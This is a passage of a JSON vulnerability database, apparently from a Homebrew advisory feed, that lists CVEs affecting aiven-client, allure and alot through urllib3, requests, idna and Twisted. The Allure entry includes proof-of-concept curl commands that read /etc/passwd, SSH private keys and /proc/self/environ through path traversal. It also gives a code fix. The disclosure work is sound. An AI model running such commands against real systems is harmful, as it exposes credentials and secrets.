version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-25645","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-44431","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-44432","published":"2026-08-13T16:35:13Z","modified":"2026-09-17T19:09:36Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.11.0_1"},{"fixed":"4.14.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-45409","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:57Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.16.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.19"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.19","key":"pkg:pypi/idna@3.19","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-97688","published":"2026-09-30T20:02:49Z","modified":"2026-09-30T20:02:49Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.11.0_2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.7.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.7.0","key":"pkg:pypi/urllib3@2.7.0","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]}],"allure":[{"schema_version":"1.7.3","id":"BREW-allure-CVE-2026-55846","published":"2026-08-13T16:35:13Z","modified":"2026-09-04T08:43:33Z","upstream":["GHSA-82cg-3hv7-74gc","CVE-2026-55846"],"affected":[{"package":{"ecosystem":"Homebrew","name":"allure","purl":"pkg:brew/allure"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.45.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.39.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"Maven","name":"io.qameta.allure:allure-commandline","subject_version":"2.46.1","key":"pkg:maven/io.qameta.allure/allure-commandline@2.46.1"}]},"summary":"Allure Report: Path Traversal in HTTP Server Allows Arbitrary File Read","details":"## Summary\n\nThe built-in HTTP server started by `allure serve` and `allure open` is vulnerable to path traversal. The server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path stays within the report directory. An attacker who can reach the server can read any file accessible to the Allure process by sending a request containing `../` sequences.\n\n## Details\n\nWhen `allure serve` or `allure open` is executed, `Commands.setUpServer()` creates an HTTP server with a handler that serves files from the report directory:\n\n**`allure-commandline/src/main/java/io/qameta/allure/Commands.java:325-339`**\n```java\nprotected HttpServer setUpServer(final String host, final int port, final Path reportDirectory) throws IOException {\n final HttpServer server = HttpServer\n .create(new InetSocketAddress(Objects.isNull(host) ? \"localhost\" : host, port), 0);\n\n server.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()); // line 330\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n });\n\n return server;\n}\n```\n\nOn line 330, the handler constructs a file path by concatenating `\".\"` with the raw request URI path and resolving it against `reportDirectory`. For a request to `/../../../etc/passwd`:\n\n1. `exchange.getRequestURI().getPath()` returns `\"/../../../etc/passwd\"`\n2. String concatenation produces `\"./../../../etc/passwd\"`\n3. `reportDirectory.resolve(\"./../../../etc/passwd\")` resolves to e.g. `/tmp/allure-report/./../../../etc/passwd`\n4. The OS resolves this to `/etc/passwd`\n\nThere is no call to `.normalize()` followed by a `.startsWith(reportDirectory)` containment check. The `serveFile()` method (line 341) reads and returns any regular file without further validation.\n\nAdditionally, `URI.getPath()` returns the percent-decoded path, so `%2e%2e` is decoded to `..`, enabling traversal via `/%2e%2e/%2e%2e/etc/passwd` which bypasses clients that normalize `..` in raw form.\n\nThe server defaults to binding on `localhost` (line 327), which limits remote exploitation. However, the `--host` option allows users to bind to any interface (e.g., `--host 0.0.0.0`), which is commonly used in CI/CD and containerized environments. Even when bound to localhost, the vulnerability is exploitable by:\n- Other local users on shared/multi-tenant systems\n- DNS rebinding attacks from malicious web pages visited by the user\n- Adjacent containers in CI/CD environments that share a network namespace\n\n## PoC\n\n**Step 1:** Start the Allure server (simulating a typical CI/CD scenario with network binding):\n```bash\nallure serve ./test-results --host 0.0.0.0 --port 9090\n```\n\n**Step 2:** Read `/etc/passwd` via path traversal:\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../etc/passwd'\n```\n\n**Step 3:** Alternative using percent-encoded traversal (works even with clients that normalize `..`):\n```bash\ncurl 'http://localhost:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd'\n```\n\n**Step 4:** Read sensitive application files (e.g., environment variables, SSH keys):\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../home/user/.ssh/id_rsa'\ncurl --path-as-is 'http://localhost:9090/../../../proc/self/environ'\n```\n\nEach command returns the full contents of the requested file if readable by the Allure process.\n\n## Impact\n\nAn attacker who can reach the Allure HTTP server can read any file on the system that the Allure process has permissions to access. This includes:\n\n- **System credentials:** `/etc/shadow` (if running as root), SSH private keys, cloud provider credentials\n- **Application secrets:** Environment variables via `/proc/self/environ`, configuration files, API keys\n- **Source code and data:** Any file on the filesystem accessible to the running user\n\nIn CI/CD environments where Allure is commonly used, this could expose build secrets, deployment credentials, and other sensitive CI/CD artifacts. The lack of authentication means any client that can reach the server's port can exploit this vulnerability.\n\n## Recommended Fix\n\nNormalize the resolved path and verify it remains within the report directory before serving:\n\n```java\nserver.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()).normalize();\n if (!resolve.startsWith(reportDirectory.normalize())) {\n exchange.sendResponseHeaders(403, 0);\n exchange.getResponseBody().close();\n return;\n }\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n});\n```\n\nThe `.normalize()` call collapses `..` sequences, and the `.startsWith()` check ensures the resolved path is still within the report directory. Requests attempting traversal receive a 403 Forbidden response.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/allure-framework/allure2/security/advisories/GHSA-82cg-3hv7-74gc"},{"type":"PACKAGE","url":"https://github.com/allure-framework/allure2"}]}],"alot":[{"schema_version":"1.7.3","id":"BREW-alot-CVE-2014-7143","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-3c45-wgjp-7v9r","CVE-2014-7143","PYSEC-2019-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"14.0.1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Python Twisted trustRoot is not respected in HTTP client","details":"Python Twisted 14.0.0 `trustRoot` is not respected in HTTP client","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7143"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/3b5942252f5f3e45862a0e12b266ab29e243cc33"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-7143"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/96135"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2019-212.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-7143"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2014/09/22/2"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2016-1000111","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-3gqj-cmxr-p4x2","CVE-2016-1000111","PYSEC-2020-214"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"16.3.1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Forced Browsing in Twisted","details":"Twisted before 16.3.1 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the `HTTP_PROXY` environment variable, which might allow remote attackers to redirect a CGI application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an `httpoxy` issue.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-1000111"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2020-214.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://twistedmatrix.com/pipermail/twisted-web/2016-August/005268.html"},{"type":"WEB","url":"https://twistedmatrix.com/trac/ticket/8623"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2016/07/18/6"},{"type":"WEB","url":"http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2016-3090545.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2019-12387","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-6cc5-2vg4-cc7m","CVE-2019-12387","PYSEC-2019-128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"19.2.1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Twisted CRLF Injection","details":"In Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-12387"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/6c61fc4503ae39ab8ecee52d10f10ee2c371d7e2"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6cc5-2vg4-cc7m"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2019-128.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://labs.twistedmatrix.com/2019/06/twisted-1921-released.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2G5RPDQ4BNB336HL6WW5ZJ344MAWNN7N"},{"type":"WEB","url":"https://twistedmatrix.com/pipermail/twisted-python/2019-June/032352.html"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2020.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00030.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00042.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2019-12855","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-65rm-h285-5cc5","CVE-2019-12855","PYSEC-2019-129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"19.7.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Improper Certificate Validation in Twisted","details":"In words.protocols.jabber.xmlstream in Twisted through 19.2.1, XMPP support did not verify certificates when used with TLS, allowing an attacker to MITM connections.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-12855"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/1147"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2019-129.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PLTZDMFBNFSJMBXYJNGJHENJA4H2TSMZ"},{"type":"WEB","url":"https://twistedmatrix.com/trac/ticket/9561"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4308-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2020.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00013.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00028.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2020-10108","published":"2026-08-13T16:35:13Z","modified":"2026-09-09T23:40:58Z","upstream":["GHSA-h96w-mmrf-2h6v","CVE-2020-10108","PYSEC-2020-259"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.12_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"20.3.0","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.4.0","key":"pkg:pypi/twisted@26.4.0","resource":"twisted"}]},"summary":"Improper Input Validation in Twisted","details":"In Twisted Web before 20.3.0, there was an HTTP request splitting vulnerability. When presented with two content-length headers, it ignored the first header. When the second content-length value was set to zero, the request body was interpreted as a pipelined 